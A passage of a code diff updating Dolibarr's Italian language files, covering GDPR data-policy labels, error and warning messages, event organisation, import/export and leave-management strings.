License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = Cliente +DATAPOLICY_TIERS_PROSPECT = Potenziale cliente +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = Fornitore +DATAPOLICY_CONTACT_CLIENT = Cliente +DATAPOLICY_CONTACT_PROSPECT = Potenziale cliente +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = Fornitore +DATAPOLICY_ADHERENT = Membro +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/it_IT/dict.lang b/htdocs/langs/it_IT/dict.lang index 058888bacef..314f1ae771f 100644 --- a/htdocs/langs/it_IT/dict.lang +++ b/htdocs/langs/it_IT/dict.lang @@ -250,7 +250,9 @@ CountryMF=Saint Martin ##### Civilities ##### CivilityMME=Sig.ra +CivilityMMEShort=Sig.ra CivilityMR=Sig. +CivilityMRShort=Sig. CivilityMLE=Signora CivilityMTRE=Signor CivilityDR=Dottore diff --git a/htdocs/langs/it_IT/ecm.lang b/htdocs/langs/it_IT/ecm.lang index 7583353f3c0..572108d20ce 100644 --- a/htdocs/langs/it_IT/ecm.lang +++ b/htdocs/langs/it_IT/ecm.lang @@ -5,6 +5,7 @@ ECMSectionManual=Directory manuale ECMSectionAuto=Directory automatica ECMSectionsManual=Gerarchia manuale ECMSectionsAuto=Gerarchia automatica +ECMSectionsMedias=Medias tree ECMSections=Directory ECMRoot=ECM Radice ECMNewSection=Nuova sezione @@ -16,7 +17,9 @@ ECMNbOfFilesInSubDir=Numero di file nelle sub-directory ECMCreationUser=Creatore ECMArea=Area DMS/ECM ECMAreaDesc=L'area DMS/ECM (Document Management System / Electronic Content Management) consente di salvare, condividere e cercare rapidamente tutti i tipi di documenti in Dolibarr. -ECMAreaDesc2=* Le directory vengono riempite automaticamente quando si aggiungono dei documenti dalla scheda di un elemento.
      * Per salvare documenti non legati ad un elemento si può usare l'aggiunta manuale. +ECMAreaDesc2a=* Manual directories can be used to save documents not linked to a particular element. +ECMAreaDesc2b=* Automatic directories are filled automatically when adding documents from the page of an element. +ECMAreaDesc3=* Medias directories are files into the subdirectory /medias of documents directory, readable by everybody with no need to be logged and no need to have the file shared explicitely. It is used to store image files from emailing or website module. ECMSectionWasRemoved=La directory%s è stata eliminata. ECMSectionWasCreated=Cartella %s è stata creata. ECMSearchByKeywords=Ricerca per parole chiave diff --git a/htdocs/langs/it_IT/errors.lang b/htdocs/langs/it_IT/errors.lang index 006e711a8d3..1bceb3d5614 100644 --- a/htdocs/langs/it_IT/errors.lang +++ b/htdocs/langs/it_IT/errors.lang @@ -14,6 +14,7 @@ ErrorLoginAlreadyExists=L'utente %s esiste già. ErrorGroupAlreadyExists=Il gruppo %s esiste già ErrorEmailAlreadyExists=L'e-mail %s esiste già. ErrorRecordNotFound=Record non trovato +ErrorRecordNotFoundShort=Non trovato ErrorFailToCopyFile=Impossibile copiare il file '%s' in '%s' ErrorFailToCopyDir=Impossibile copiare la directory ' %s ' in ' %s '. ErrorFailToRenameFile=Impossibile rinominare il file '%s' in '%s'. @@ -48,6 +49,7 @@ ErrorBadImageFormat=Tipo file immagine non supportato (la tua installazione di P ErrorBadDateFormat=Il valore '%s' ha un formato della data sbagliato ErrorWrongDate=La data non è corretta! ErrorFailedToWriteInDir=Impossibile scrivere nella directory %s +ErrorFailedToBuildArchive=Impossibile creare il file di archivio %s ErrorFoundBadEmailInFile=Sintassi email errata nelle righe %s del file (ad esempio alla riga %s con email = %s) ErrorUserCannotBeDelete=User cannot be deleted. Maybe it is associated to Dolibarr entities. ErrorFieldsRequired=Mancano alcuni campi obbligatori. @@ -76,7 +78,7 @@ ErrorNoValueForCheckBoxType=Per favore immetti un valore per la lista di control ErrorNoValueForRadioType=Per favore immetti un valore per la lista radio ErrorBadFormatValueList=La lista può includere una o più virgole: %s, ma deve essercene almeno una: key,value ErrorFieldCanNotContainSpecialCharacters=The field %s must not contains special characters. -ErrorFieldCanNotContainSpecialNorUpperCharacters=The field %s must not contain special characters, nor upper case characters and cannot contain only numbers. +ErrorFieldCanNotContainSpecialNorUpperCharacters=Il campo %s non deve contenere caratteri speciali né maiuscoli e deve iniziare con un carattere alfabetico (a-z) ErrorFieldMustHaveXChar=The field %s must have at least %s characters. ErrorNoAccountancyModuleLoaded=Modulo contabilità disattivato ErrorExportDuplicateProfil=Questo nome profilo già esiste per questo set di esportazione @@ -95,9 +97,9 @@ ErrorWrongValueForField=Field %s: '%s' does not match regex rule < ErrorHtmlInjectionForField=Campo %s : Il valore ' %s ' contiene dati dannosi non consentiti ErrorFieldValueNotIn=Field %s: '%s' is not a value found in field %s of %s ErrorFieldRefNotIn=Field %s: '%s' is not a %s existing ref +ErrorMultipleRecordFoundFromRef=Several record found when searching from ref %s. No way to know which ID to use. ErrorsOnXLines=%s errors found ErrorFileIsInfectedWithAVirus=Il programma antivirus non è stato in grado di convalidare il file (il file potrebbe essere infetto) -ErrorSpecialCharNotAllowedForField=I caratteri speciali non sono ammessi per il campo "%s" ErrorNumRefModel=Esiste un riferimento nel database (%s) e non è compatibile con questa regola di numerazione. Rimuovere o rinominare il record per attivare questo modulo. ErrorQtyTooLowForThisSupplier=Quantity too low for this vendor or no price defined on this product for this vendor ErrorOrdersNotCreatedQtyTooLow=Some orders haven't been created because of too-low quantities @@ -221,7 +223,7 @@ ErrorTooManyErrorsProcessStopped=Troppi errori. Il processo è stato bloccato. ErrorMassValidationNotAllowedWhenStockIncreaseOnAction=Mass validation is not possible when option to increase/decrease stock is set on this action (you must validate one by one so you can define the warehouse to increase/decrease) ErrorObjectMustHaveStatusDraftToBeValidated=Object %s must have status 'Draft' to be validated. ErrorObjectMustHaveLinesToBeValidated=L'oggetto %s deve contenere almeno una riga per essere convalidato. -ErrorOnlyInvoiceValidatedCanBeSentInMassAction=Only validated invoices can be sent using the "Send by email" mass action. +ErrorOnlyInvoiceValidatedCanBeSentInMassAction=Solo le fatture convalidate possono essere inviate utilizzando l'azione massiva "Invia per Email". ErrorChooseBetweenFreeEntryOrPredefinedProduct=You must choose if article is a predefined product or not ErrorDiscountLargerThanRemainToPaySplitItBefore=The discount you try to apply is larger than remain to pay. Split the discount in 2 smaller discounts before. ErrorFileNotFoundWithSharedLink=File was not found. May be the share key was modified or file was removed recently. @@ -229,7 +231,7 @@ ErrorProductBarCodeAlreadyExists=The product barcode %s already exists on anothe ErrorNoteAlsoThatSubProductCantBeFollowedByLot=Si noti inoltre che l'utilizzo di kit per aumentare/diminuire automaticamente i sottoprodotti non è possibile quando almeno un sottoprodotto (o un sottoprodotto di sottoprodotti) necessita di un numero di serie/lotto. ErrorDescRequiredForFreeProductLines=Description is mandatory for lines with free product ErrorAPageWithThisNameOrAliasAlreadyExists=The page/container %s has the same name or alternative alias that the one your try to use -ErrorDuringChartLoad=Error when loading chart of accounts. If few accounts were not loaded, you can still enter them manually. +ErrorDuringChartLoad=Errore durante il caricamento del piano dei conti. Se poche voci non sono state caricate, puoi caricarle manualmente. ErrorBadSyntaxForParamKeyForContent=Bad syntax for param keyforcontent. Must have a value starting with %s or %s ErrorVariableKeyForContentMustBeSet=Error, the constant with name %s (with text content to show) or %s (with external url to show) must be set. ErrorURLMustEndWith=L'URL %s deve terminare %s @@ -242,6 +244,7 @@ ErrorObjectMustHaveStatusActiveToBeDisabled=Gli oggetti devono avere lo stato 'A ErrorObjectMustHaveStatusDraftOrDisabledToBeActivated=Gli oggetti devono avere lo stato 'Bozza' o 'Disabilitato' per essere abilitato ErrorNoFieldWithAttributeShowoncombobox=Nessun campo ha la proprietà 'mostra nel quadrato combo' nella definizione dell'oggetto '%s'. Non c'è modo di mostrare la lista combo. ErrorFieldRequiredForProduct=Il campo "%s" è obbligatorio per il prodotto %s +AlreadyTooMuchPostOnThisIPAdress=You have already posted too much on this IP address. ProblemIsInSetupOfTerminal=Il problema è nella configurazione del terminale %s. ErrorAddAtLeastOneLineFirst=Aggiungi prima almeno una riga ErrorRecordAlreadyInAccountingDeletionNotPossible=Errore, il record è già stato trasferito in contabilità, la cancellazione non è possibile. @@ -271,14 +274,14 @@ ErrorYouMustFirstSetupYourChartOfAccount=Devi prima impostare il tuo piano dei c ErrorFailedToFindEmailTemplate=Impossibile trovare il modello con nome in codice %s ErrorDurationForServiceNotDefinedCantCalculateHourlyPrice=Durata non definita in servizio. Non c'è modo di calcolare il prezzo orario. ErrorActionCommPropertyUserowneridNotDefined=Il proprietario dell'utente è obbligatorio -ErrorActionCommBadType=Selected event type (id: %s, code: %s) do not exist in Event Type dictionary +ErrorActionCommBadType=Il tipo di evento selezionato (id: %s, codice: %s) non esiste nel dizionario del tipo di evento CheckVersionFail=Controllo della versione fallito ErrorWrongFileName=Il nome del file non può contenere __SOMETHING__ ErrorNotInDictionaryPaymentConditions=Non nel dizionario dei termini di pagamento, modificare. ErrorIsNotADraft=%s non è una bozza ErrorExecIdFailed=Impossibile eseguire il comando "id" -ErrorBadCharIntoLoginName=Carattere non autorizzato nel nome di accesso -ErrorRequestTooLarge=Errore, richiesta troppo grande +ErrorBadCharIntoLoginName=Unauthorized character in the field %s +ErrorRequestTooLarge=Error, request too large or session expired ErrorNotApproverForHoliday=Non sei l'approvatore per il congedo %s ErrorAttributeIsUsedIntoProduct=Questo attributo viene utilizzato in una o più varianti di prodotto ErrorAttributeValueIsUsedIntoProduct=Questo valore di attributo viene utilizzato in una o più varianti di prodotto @@ -289,13 +292,22 @@ ErrorInvoiceLoadThirdPartyKey=Chiave di terze parti "%s" non impostata per la fa ErrorDeleteLineNotAllowedByObjectStatus=L'eliminazione della riga non è consentita dallo stato dell'oggetto corrente ErrorAjaxRequestFailed=Richiesta fallita ErrorThirpdartyOrMemberidIsMandatory=Terza parte o Membro di partnership è obbligatorio -ErrorFailedToWriteInTempDirectory=Failed to write in temp directory -ErrorQuantityIsLimitedTo=Quantity is limited to %s +ErrorFailedToWriteInTempDirectory=Impossibile scrivere nella directory temporanea +ErrorQuantityIsLimitedTo=La quantità è limitata a %s +ErrorFailedToLoadThirdParty=Impossibile trovare/caricare terze parti da id=%s, email=%s, name=%s +ErrorThisPaymentModeIsNotSepa=Questa modalità di pagamento non è un conto bancario +ErrorStripeCustomerNotFoundCreateFirst=Il cliente Stripe non è impostato per questa terza parte (o è impostato su un valore eliminato sul lato Stripe). Crealo (o riattaccalo) prima. +ErrorCharPlusNotSupportedByImapForSearch=La ricerca IMAP non è in grado di cercare nel mittente o nel destinatario una stringa contenente il carattere + +ErrorTableNotFound=Tabella %s non trovata +ErrorValueForTooLow=Il valore per %s è troppo basso +ErrorValueCantBeNull=Il valore per %s non può essere nullo +ErrorDateOfMovementLowerThanDateOfFileTransmission=The date of the bank transaction can't be lower than the date of the file transmission +ErrorTooMuchFileInForm=Too much files in form, the maximum number is %s file(s) # Warnings WarningParamUploadMaxFileSizeHigherThanPostMaxSize=Your PHP parameter upload_max_filesize (%s) is higher than PHP parameter post_max_size (%s). This is not a consistent setup. WarningPasswordSetWithNoAccount=A password was set for this member. However, no user account was created. So this password is stored but can't be used to login to Dolibarr. It may be used by an external module/interface but if you don't need to define any login nor password for a member, you can disable option "Manage a login for each member" from Member module setup. If you need to manage a login but don't need any password, you can keep this field empty to avoid this warning. Note: Email can also be used as a login if the member is linked to a user. -WarningMandatorySetupNotComplete=Click here to setup main parameters +WarningMandatorySetupNotComplete=Fare clic qui per impostare i parametri principali WarningEnableYourModulesApplications=Attiva i moduli/applicazioni per iniziare ad utilizzare il software WarningSafeModeOnCheckExecDir=Attenzione: quando è attiva l'opzione safe_mode, il comando deve essere contenuto in una directory dichiarata dal parametro safe_mode_exec_dir. WarningBookmarkAlreadyExists=Un segnalibro per questo link (URL) o con lo stesso titolo esiste già. @@ -304,7 +316,7 @@ WarningConfFileMustBeReadOnly=Attenzione, il file di configurazione htdocs/co WarningsOnXLines=Warning su %s righe del sorgente WarningNoDocumentModelActivated=No model, for document generation, has been activated. A model will be chosen by default until you check your module setup. WarningLockFileDoesNotExists=Attenzione, una volta terminato il setup, devi disabilitare gli strumenti di installazione/migrazione aggiungendo il file install.lock nella directory %s. Omettendo la creazione di questo file è un grave rischio per la sicurezza. -WarningUntilDirRemoved=Tutti gli avvisi di sicurezza (visibili solo dagli amministratori) rimarranno attivi fintanto che la vulnerabilità è presente (o la costante MAIN_REMOVE_INSTALL_WARNING viene aggiunta in Impostazioni->Altre impostazioni). +WarningUntilDirRemoved=This security warning will remain active as long as the vulnerability is present. WarningCloseAlways=Attenzione, la chiusura è effettiva anche se il numero degli elementi non coincide fra inizio e fine. Abilitare questa opzione con cautela. WarningUsingThisBoxSlowDown=Attenzione: l'uso di questo box rallenterà pesantemente tutte le pagine che lo visualizzano WarningClickToDialUserSetupNotComplete=Le impostazioni di informazione del ClickToDial per il tuo utente non sono complete (vedi la scheda ClickToDial sulla tua scheda utente) @@ -321,11 +333,13 @@ WarningProjectClosed=Il progetto è chiuso. È necessario prima aprirlo nuovamen WarningSomeBankTransactionByChequeWereRemovedAfter=Alcune transazioni bancarie sono state rimosse dopo che è stata generata la ricevuta che le includeva. Quindi il numero di assegni e il totale dello scontrino possono differire dal numero e dal totale nell'elenco. WarningFailedToAddFileIntoDatabaseIndex=Avviso, impossibile aggiungere la voce del file nella tabella dell'indice del database ECM WarningTheHiddenOptionIsOn=Attenzione, l'opzione nascosta %s è attiva. -WarningCreateSubAccounts=Attenzione, non puoi creare direttamente un sub account, devi creare una terza parte o un utente e assegnargli un codice contabile per trovarli in questo elenco +WarningCreateSubAccounts=Attenzione, non puoi creare direttamente un registro secondario, devi creare una terza parte o un utente e assegnargli un codice contabile per trovarli in questo elenco WarningAvailableOnlyForHTTPSServers=Disponibile solo se si utilizza una connessione protetta HTTPS. WarningModuleXDisabledSoYouMayMissEventHere=Il modulo %s non è stato abilitato. Quindi potresti perdere molti eventi qui. WarningPaypalPaymentNotCompatibleWithStrict=Il valore "Strict" fa sì che le funzioni di pagamento online non funzionino correttamente. Usa invece "Lax". WarningThemeForcedTo=Attenzione, il tema è stato forzato a %s dalla costante nascosta MAIN_FORCETHEME +WarningPagesWillBeDeleted=Attenzione, questo cancellerà anche tutte le pagine/contenitori esistenti del sito web. Dovresti esportare il tuo sito web prima, così avrai un backup da re-importare in seguito. +WarningAutoValNotPossibleWhenStockIsDecreasedOnInvoiceVal=La convalida automatica è disabilitata quando l'opzione per diminuire le scorte è impostata su "Convalida fattura". # Validate RequireValidValue = Valore non valido diff --git a/htdocs/langs/it_IT/eventorganization.lang b/htdocs/langs/it_IT/eventorganization.lang index c96bbd91106..d3162876bbc 100644 --- a/htdocs/langs/it_IT/eventorganization.lang +++ b/htdocs/langs/it_IT/eventorganization.lang @@ -37,7 +37,8 @@ EventOrganization=Organizzazione di eventi Settings=Impostazioni EventOrganizationSetupPage = Pagina di configurazione dell'organizzazione dell'evento EVENTORGANIZATION_TASK_LABEL = Etichetta delle attività da creare automaticamente quando il progetto viene convalidato -EVENTORGANIZATION_TASK_LABELTooltip = Quando si convalida un evento organizzato, alcune operazioni possono essere creati automaticamente nel progetto

      Ad esempio:
      Send Call for Conference
      Invia Invito a Booth
      Ricevi invito a conferenze
      ricevere la chiamata per Booth
      sottoscrizioni aperte agli eventi per i partecipanti
      Invia ricorda l'evento ai relatori
      Invia ricorda l'evento all'host dello stand
      Invia ricorda l'evento ai partecipanti +EVENTORGANIZATION_TASK_LABELTooltip = When you validate an event to organize, some tasks can be automatically created in the project

      For example:
      Send Call for Conferences
      Send Call for Booths
      Validate suggestions of Conferences
      Validate application for Booths
      Open subscriptions to the event for attendees
      Invia un promemoria dell'evento ai relatori
      Invia un promemoria dell'evento agli host dello stand
      Invia un promemoria dell'evento ai partecipanti +EVENTORGANIZATION_TASK_LABELTooltip2=Mantieni vuoto se non è necessario creare attività automaticamente. EVENTORGANIZATION_CATEG_THIRDPARTY_CONF = Categoria da aggiungere a terze parti creata automaticamente quando qualcuno suggerisce una conferenza EVENTORGANIZATION_CATEG_THIRDPARTY_BOOTH = Categoria da aggiungere a terze parti creata automaticamente quando suggeriscono uno stand EVENTORGANIZATION_TEMPLATE_EMAIL_ASK_CONF = Modello di email da inviare dopo aver ricevuto un suggerimento per una conferenza. @@ -53,12 +54,15 @@ EVENTORGANIZATION_FILTERATTENDEES_TYPE = Nel modulo per creare/aggiungere un par # Object # EventOrganizationConfOrBooth= Conferenza o stand +EventOrganizationConfOrBoothes=Conferences or Boothes ManageOrganizeEvent = Gestire l'organizzazione di un evento ConferenceOrBooth = Conferenza o stand ConferenceOrBoothTab = Conferenza o stand AmountPaid = Importo pagato DateOfRegistration = Data di registrazione ConferenceOrBoothAttendee = Partecipante alla conferenza o allo stand +ApplicantOrVisitor=Applicant or visitor +Speaker=Speaker # # Template Mail @@ -111,15 +115,15 @@ EvntOrgRegistrationHelpMessage = Qui puoi votare per una conferenza o suggerirne EvntOrgRegistrationConfHelpMessage = Qui puoi suggerire una nuova conferenza da animare durante l'evento. EvntOrgRegistrationBoothHelpMessage = Qui puoi candidarti per avere uno stand durante l'evento. ListOfSuggestedConferences = Elenco delle conferenze suggerite -ListOfSuggestedBooths = Elenco delle cabine consigliate -ListOfConferencesOrBooths=Elenco delle conferenze o degli stand del progetto dell'evento +ListOfSuggestedBooths=Suggested booths +ListOfConferencesOrBooths=Conferences or booths of event project SuggestConference = Proponi una nuova conferenza SuggestBooth = Suggerisci uno stand ViewAndVote = Visualizza e vota gli eventi suggeriti PublicAttendeeSubscriptionGlobalPage = Link pubblico per la registrazione all'evento PublicAttendeeSubscriptionPage = Link pubblico solo per la registrazione a questo evento MissingOrBadSecureKey = La chiave di sicurezza non è valida o manca -EvntOrgWelcomeMessage = Questo modulo permette di registrarsi come nuovo partecipante all'evento: %s +EvntOrgWelcomeMessage = This form allows you to register as a new participant to the event EvntOrgDuration = Questa conferenza inizia su %s e termina su %s. ConferenceAttendeeFee = Quota di partecipazione alla conferenza per l'evento: "%s" che si verifica da %s a %s. BoothLocationFee = Posizione dello stand per l'evento: '%s' che si verifica da %s a %s @@ -129,7 +133,7 @@ LabelOfconference=Etichetta conferenza ConferenceIsNotConfirmed=Iscrizione non disponibile, conferenza non ancora confermata DateMustBeBeforeThan=%s deve essere prima di %s DateMustBeAfterThan=%s deve essere dopo %s - +MaxNbOfAttendeesReached=The maximum number of participants has been reached NewSubscription=Registrazione OrganizationEventConfRequestWasReceived=Il tuo suggerimento per una conferenza è stato ricevuto OrganizationEventBoothRequestWasReceived=La tua richiesta per uno stand è stata ricevuta @@ -138,6 +142,7 @@ OrganizationEventPaymentOfRegistrationWasReceived=Il tuo pagamento per la regist OrganizationEventBulkMailToAttendees=Questo è un promemoria della tua partecipazione all'evento come partecipante OrganizationEventBulkMailToSpeakers=Questo è un promemoria sulla tua partecipazione all'evento come relatore OrganizationEventLinkToThirdParty=Collegamento a terzi (cliente, fornitore o partner) +OrganizationEvenLabelName=Public name of the conference or booth NewSuggestionOfBooth=Domanda per uno stand NewSuggestionOfConference=Domanda per una conferenza @@ -153,7 +158,7 @@ VoteOk = Il tuo voto è stato accettato. AlreadyVoted = Hai già votato per questo evento. VoteError = Si è verificato un errore durante la votazione, riprova. -SubscriptionOk = La tua registrazione è stata convalidata +SubscriptionOk=Your registration has been recorded ConfAttendeeSubscriptionConfirmation = Conferma della tua iscrizione a un evento Attendee = Partecipante PaymentConferenceAttendee = Pagamento dei partecipanti alla conferenza @@ -161,7 +166,9 @@ PaymentBoothLocation = Pagamento posizione stand DeleteConferenceOrBoothAttendee=Rimuovi partecipante RegistrationAndPaymentWereAlreadyRecorder=Per la mail %s sono già state registrate una registrazione e un pagamento EmailAttendee=E-mail del partecipante +EmailCompany=Company email EmailCompanyForInvoice=Email aziendale (per fattura, se diversa dall'email del partecipante) ErrorSeveralCompaniesWithEmailContactUs=Sono state trovate diverse aziende con questa e-mail, quindi non possiamo convalidare automaticamente la tua registrazione. Vi preghiamo di contattarci all'indirizzo %s per una convalida manuale ErrorSeveralCompaniesWithNameContactUs=Sono state trovate diverse aziende con questo nome, quindi non possiamo convalidare automaticamente la tua registrazione. Si prega di contattarci all'indirizzo %s per una convalida manuale NoPublicActionsAllowedForThisEvent=Nessuna azione pubblica è aperta al pubblico per questo evento +MaxNbOfAttendees=Numero massimo di partecipanti diff --git a/htdocs/langs/it_IT/exports.lang b/htdocs/langs/it_IT/exports.lang index 0681ccd47ce..81439ccf80d 100644 --- a/htdocs/langs/it_IT/exports.lang +++ b/htdocs/langs/it_IT/exports.lang @@ -18,6 +18,7 @@ ExportableFields=Campi esportabili ExportedFields=Campi esportati ImportModelName=Nome del profilo di importazione ImportModelSaved=Profilo importazione salvato con il nome %s. +ImportProfile=Importa profilo DatasetToExport=Dati da esportare DatasetToImport=Dataset da importare ChooseFieldsOrdersAndTitle=Scegli l'ordine dei campi @@ -28,7 +29,7 @@ AvailableFormats=Formati disponibili LibraryShort=Libreria ExportCsvSeparator=Separatore di caratteri CSV ImportCsvSeparator=Separatore di caratteri CSV -Step=Passaggio +Step=Passo FormatedImport=Importazione assistita FormatedImportDesc1=Questa sezione consente di importare dati personalizzati, utilizzando un assistente per aiutarti nel processo anche senza conoscenze tecniche. FormatedImportDesc2=Il primo passo è quello di scegliere un tipo di dati da importare, quindi il file da caricare, quindi di scegliere quali campi si desidera caricare. @@ -53,8 +54,9 @@ TypeOfLineServiceOrProduct=Linea tipo (0 = prodotto, servizio = 1) FileWithDataToImport=File con i dati da importare FileToImport=File da importare FileMustHaveOneOfFollowingFormat=File da importare deve avere uno dei seguenti formati -DownloadEmptyExample=Download a template file with examples and information on fields you can import -StarAreMandatory=Into the template file, all fields with a * are mandatory fields +DownloadEmptyExampleShort=Scarica un file di esempio +DownloadEmptyExample=Scarica un file modello con esempi e informazioni sui campi che puoi importare +StarAreMandatory=Nel file modello, tutti i campi contrassegnati da * sono obbligatori ChooseFormatOfFileToImport=Scegliete il formato di file da utilizzare per l'importazione cliccando sull'icona %s ChooseFileToImport=Scegli il file da importare e poi clicca sull'icona %s SourceFileFormat=Fonte formato di file @@ -82,7 +84,7 @@ SelectFormat=Scegliere questo formato di file di importazione RunImportFile=Lancio l'importazione di file NowClickToRunTheImport=Controllare risultato della simulazione di importazione. Se tutto è ok, avviare l'importazione definitiva. DataLoadedWithId=I dati verranno importati con il seguente import id: %s -ErrorMissingMandatoryValue=I dati obbligatori è vuoto %s file sorgente in campo per. +ErrorMissingMandatoryValue=I dati obbligatori sono vuoti nel file di origine nella colonna %s . TooMuchErrors=C'è ancora %s linee di altra fonte di errori ma la produzione è stata limitata. TooMuchWarnings=C'è ancora %s linee altra fonte con avvisi di uscita, ma è stato limitato. EmptyLine=riga vuota (verrà scartato) @@ -92,9 +94,9 @@ YouCanUseImportIdToFindRecord=Potete trovare tutti i record importati nel databa NbOfLinesOK=Numero di linee senza errori e senza avvertenze: %s. NbOfLinesImported=Numero di linee importati con successo: %s. DataComeFromNoWhere=Valore da inserire viene dal nulla nel file di origine. -DataComeFromFileFieldNb=Il valore da inserire deriva dal numero del campo %s nel file di origine. -DataComeFromIdFoundFromRef=Valore che viene dal numero %s campo di file sorgente sarà utilizzato per trovare id del genitore oggetto da utilizzare (Così il %s Objet che ha il ref. Dal file sorgente deve esiste in Dolibarr). -DataComeFromIdFoundFromCodeId=Il codice che proviene dal campo numero %s del file sorgente sarà usato per trovare l'id dell'oggetto principale da utilizzare (quindi il codice dal file sorgente deve esistere nel dizionario %s). Nota che se conosci l'id, puoi usarlo anche nel file sorgente invece del codice. L'importazione dovrebbe funzionare in entrambi i casi. +DataComeFromFileFieldNb=Il valore da inserire proviene dalla colonna %s nel file di origine. +DataComeFromIdFoundFromRef=Il valore che deriva dal file di origine verrà utilizzato per trovare l'id dell'oggetto padre da utilizzare (quindi l'oggetto %s che ha il riferimento dal file di origine deve esistere nel database). +DataComeFromIdFoundFromCodeId=Il valore del codice proveniente dal file sorgente verrà utilizzato per trovare l'id dell'oggetto padre da utilizzare (quindi il codice dal file sorgente deve esistere nel dizionario %s ). Nota che se conosci l'id, puoi anche usarlo nel file sorgente invece del codice. L'importazione dovrebbe funzionare in entrambi i casi. DataIsInsertedInto=I dati provenienti dal file sorgente sarà inserito nel campo seguente: DataIDSourceIsInsertedInto=L'id dell'oggetto genitore, che è stato trovato utilizzando i dati nel file sorgente, verrà inserito nel seguente campo: DataCodeIDSourceIsInsertedInto=L'id della linea padre, che è stato trovato dal codice, verrà inserito nel seguente campo: @@ -132,9 +134,14 @@ FormatControlRule=Controllo del formato ## imports updates KeysToUseForUpdates=Chiave da utilizzare per l'aggiornamento dei dati NbInsert=Numero di righe inserite: %s +NbInsertSim=Numero di righe che verranno inserite: %s NbUpdate=Numero di righe aggiornate: %s +NbUpdateSim=Numero di righe che verranno aggiornate: %s MultipleRecordFoundWithTheseFilters=Righe multiple sono state trovate con questi filtri: %s StocksWithBatch=Scorte e ubicazione (magazzino) dei prodotti con numero di lotto / seriale -WarningFirstImportedLine=The first line(s) will not be imported with the current selection -NotUsedFields=Fields of database not used -SelectImportFieldsSource = Choose the source file fields you want to import and their target field in database by choosing the fields in each select boxes, or select a predefined import profile: +WarningFirstImportedLine=Le prime righe non verranno importate con la selezione corrente +NotUsedFields=Campi del database non utilizzati +SelectImportFieldsSource = Scegli i campi del file di origine che desideri importare e il relativo campo di destinazione nel database scegliendo i campi in ciascuna casella di selezione o seleziona un profilo di importazione predefinito: +MandatoryTargetFieldsNotMapped=Alcuni campi target obbligatori non sono mappati +AllTargetMandatoryFieldsAreMapped=Tutti i campi target che necessitano di un valore obbligatorio vengono mappati +ResultOfSimulationNoError=Risultato della simulazione: nessun errore diff --git a/htdocs/langs/it_IT/holiday.lang b/htdocs/langs/it_IT/holiday.lang index 6b6119857af..dd1b461afaa 100644 --- a/htdocs/langs/it_IT/holiday.lang +++ b/htdocs/langs/it_IT/holiday.lang @@ -1,9 +1,11 @@ # Dolibarr language file - Source file is en_US - holiday HRM=Risorse umane -Holidays=Ferie / Permessi +Holidays=Permessi/congedi +Holiday=Ferie / Permessi CPTitreMenu=Ferie / Permessi MenuReportMonth=Estratto conto mensile MenuAddCP=Nuova richiesta +MenuCollectiveAddCP=Nuova richiesta di congedo collettivo NotActiveModCP=You must enable the module Leave to view this page. AddCP=Inserisci nuova richiesta DateDebCP=Data di inizio @@ -56,6 +58,7 @@ ConfirmDeleteCP=Vuoi davvero cancellare questa richiesta? ErrorCantDeleteCP=Errore: non hai i permessi necessari per eliminare questa richiesta. CantCreateCP=Non hai i permessi necessari per inserire richieste. 